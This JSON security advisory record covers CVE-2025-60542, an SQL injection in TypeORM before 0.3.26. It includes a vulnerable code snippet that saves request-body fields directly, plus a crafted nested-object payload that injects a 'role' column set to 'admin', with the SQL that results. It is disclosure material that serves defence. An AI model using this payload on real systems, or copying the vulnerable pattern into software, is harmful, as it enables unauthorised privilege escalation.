{"id":"CVE-2025-60542","aliases":["GHSA-q2pj-6v73-8rgj"],"url":"https://o3.security/vulnerability/CVE-2025-60542","summary":"TypeORM vulnerable to SQL injection via crafted request to repository.save or repository.update","details":"### Summary\n\nSQL Injection vulnerability in TypeORM before 0.3.26 via crafted request to repository.save or repository.update due to the sqlstring call using stringifyObjects default to false.\n\n### Details\n\nVulnerable Code:\n\n```js\nconst { username, city, name} = req.body;\nconst updateData = {\n    username,\n    city,\n    name,\n    id:userId\n  }; // Developer aims to only allow above three fields to be updated    \nconst result = await userRepo.save(updateData);\n```\n\nIntended Payload (non-malicious):\n\n\n`\nusername=myusername&city=Riga&name=Javad\n`\n\n_OR_\n\n`{username:\\\"myusername\\\",phone:12345,name:\\\"Javad\\\"}\n`\n\nSQL query produced:\n\n```sql\nUPDATE `user` \nSET `username` = 'myusername', \n    `city` = 'Riga', \n    `name` = 'Javad' \nWHERE `id` IN (1);\n\n```\n\nMalicious Payload:\n\n`username=myusername&city[name]=Riga&city[role]=admin\n`\n\n_OR_\n\n`{username:\\\"myusername\\\",city:{name:\\\"Javad\\\",role:\\\"admin\\\"}}\n`\n\nSQL query produced with Injected Column:\n\n```sql\nUPDATE `user` \nSET `username` = 'myusername', \n    `city` = `name` = 'Javad', \n    `role` = 'admin' \nWHERE `id` IN (1);\n\n```\n_Above query is valid as `city` = `name` = `Javad` is a boolean expression resulting in `city` = 1 (false). “role” column is injected and updated._\n\nUnderlying issue was due to TypeORM using mysql2 [without specifying a value for the stringifyObjects option](https://github.com/typeorm/typeorm/blob/0.3.25/src/driver/mysql/MysqlConnectionOptions.ts). In both mysql and mysql2 this [option defaults to false](https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/connection_config.js#L124). This option is then passed into [SQLString library as false](https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/base/connection.js#L524). This results in sqlstring [parsing objects in a strange way using objectToValues.](https://github.com/mysqljs/sqlstring/blob/cd528556b4b6bcf300c3db515026935dedf7cfa1/lib/SqlString.js#L54)","published":"2025-10-29T00:00:00Z","modified":"2026-08-12T03:51:10.467200166Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"},"epss":{"score":0.00247,"percentile":0.16184,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"typeorm","fixedVersion":"0.3.26"}],"fix":{"url":"https://github.com/typeorm/typeorm/pull/11574","label":"typeorm/typeorm#11574"},"references":[{"type":"WEB","url":"https://github.com/typeorm/typeorm/releases/tag/0.3.26"},{"type":"WEB","url":"https://medium.com/@alizada.cavad/cve-2025-60542-typeorm-mysql-sqli-0-3-25-a1b32bc60453"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/60xxx/CVE-2025-60542.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-60542"},{"type":"FIX","url":"https://github.com/typeorm/typeorm/pull/11574"},{"type":"PACKAGE","url":"https://github.com/typeorm/typeorm/releases?q=security&expanded=true"},{"type":"WEB","url":"https://github.com/typeorm/typeorm/commit/d57fe3bd8578b0b8f9847647fd046bccf825a7ef"},{"type":"WEB","url":"https://github.com/mysqljs/sqlstring/blob/cd528556b4b6bcf300c3db515026935dedf7cfa1/lib/SqlString.js#L54"},{"type":"WEB","url":"https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/base/connection.js#L524"},{"type":"WEB","url":"https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/connection_config.js#L124"},{"type":"WEB","url":"https://github.com/typeorm/typeorm/blob/0.3.25/src/driver/mysql/MysqlConnectionOptions.ts"},{"type":"PACKAGE","url":"http://github.com/typeorm/typeorm"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:10.467200166Z"}}